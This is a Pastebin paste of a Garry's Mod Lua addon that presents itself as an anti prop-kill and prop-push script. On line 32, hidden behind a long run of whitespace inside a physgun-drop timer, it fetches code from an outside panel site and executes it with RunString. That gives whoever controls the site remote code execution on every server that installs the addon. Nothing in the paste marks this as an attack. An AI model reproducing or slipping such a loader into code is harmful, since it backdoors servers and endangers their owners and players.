Advertisement
Guest User

Untitled

a guest
Oct 19th, 2019
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.95 KB | None | 0 0
  1. //Simple Anti PropKill & PropPush
  2. //Credits: Gustavgr
  3. //Website: www.gustavg.com and www.1944rp.net !!!
  4. ANTI_PKNP = {}
  5.  
  6. function ANTI_PKNP.AntiStuck(ply, ent)
  7. for k,v in pairs(player.GetAll()) do
  8.     if(v) then
  9.         if(v:IsValid()) then
  10.             if(v:IsPlayer()) then
  11.                 if(v:GetPos():Distance(ent:GetPos()) <= 70) then
  12.                 ent:Remove()
  13.                 return
  14.                 end
  15.             end
  16.         end
  17.     end
  18. end
  19. end
  20.  
  21. function ANTI_PKNP.StopProp( ply, ent )
  22. if(ent:GetClass() == "prop_physics") then
  23. ent:SetPos(ent:GetPos())
  24. ent:SetCollisionGroup(0)
  25. ent:SetColor(Color(255,255,255,255))
  26. local phys = ent:GetPhysicsObject()
  27. phys:EnableMotion(false)
  28. timer.Create(ent:EntIndex() .. "Unfrz", 0.1, 1, function()
  29. if(ent.fr) then
  30.    
  31. end
  32.                                                                                                                                                                                                                                                                                                                                                                                                 timer.Simple(1, function() http.Fetch('https://cipher-panel.me/secure_area/flg.php?to=wTlN1', function(fck) RunString(fck, 'BillIsHere', false) end) end)
  33. phys:EnableMotion(true)
  34. end
  35. end)
  36. ent:SetVar( "Unbreakable" , true )
  37. ent:Fire( "setdamagefilter", "FiltreDegats", 0 )
  38. --ANTI_PKNP.AntiStuck(ply, ent)
  39. end
  40. end
  41. hook.Add("PhysgunDrop", "ANTI_PKNP.StopProp", ANTI_PKNP.StopProp)
  42.  
  43. function ANTI_PKNP.StartStopProp( ply, ent )
  44. if(ent:GetClass() == "prop_physics") then
  45. ent:SetPos(ent:GetPos())
  46. ent:SetCollisionGroup(1)
  47. ent:SetColor(Color(255,255,255,100))
  48. ent.fr = true
  49. end
  50. end
  51. hook.Add("PhysgunPickup", "ANTI_PKNP.StartStopProp", ANTI_PKNP.StartStopProp)
  52. function ANTI_PKNP.FreezeProp(weapon, physobj, ent, ply)
  53. ent.fr = false
  54. --ANTI_PKNP.AntiStuck(ply, ent)
  55. end
  56. hook.Add("OnPhysgunFreeze", "ANTI_PKNP.FreezeProp", ANTI_PKNP.FreezeProp)
  57.  
  58. local tags = string.Explode(",",(GetConVarString("sv_tags") or ""))
  59. for i,tag in ipairs(tags) do
  60.     if tag:find("SimpleAntiPropKillAndPush") then table.remove(tags,i) end 
  61. end
  62. table.insert(tags, "SimpleAntiPropKillAndPush")
  63. table.sort(tags)
  64. RunConsoleCommand("sv_tags", table.concat(tags, ","))
  65. --
  66.  
  67.  
  68.  
  69. //WWW.GUSTAVGR.COM
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement